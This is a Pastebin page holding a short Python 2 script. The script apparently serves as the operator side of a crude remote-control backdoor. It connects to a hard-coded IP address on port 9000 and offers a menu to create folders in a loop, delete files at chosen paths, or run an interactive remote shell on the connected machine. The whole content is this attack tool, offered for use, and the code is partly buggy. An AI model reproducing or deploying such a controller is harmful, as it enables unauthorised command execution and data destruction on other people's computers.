Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from socket import *
- def shellsesh(sockfd):
- while 1:
- cmd = raw_input("> ")
- if cmd == "exit shell":
- sockfd.close()
- else:
- sockfd.send(cmd)
- s = socket(AF_INET,SOCK_STREAM)
- print ("1) mkdir loop")
- print ("2) Delete file")
- print ("3) Shell")
- s.connect(("106.219.2.213",9000))
- snd1 = input("Enter your choice ")
- if snd1 == 1:
- s.send('snd1')
- snd2 = raw_input("Enter here folder name: ")
- s.send(snd2)
- elif snd1 == 2:
- s.send('snd2')
- file_path = raw_input("Enter path: ")
- s.send(file_path)
- elif snd1 == 3:
- s.send('snd3')
- shellsesh(s)
- if (s): # check if s is still open
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement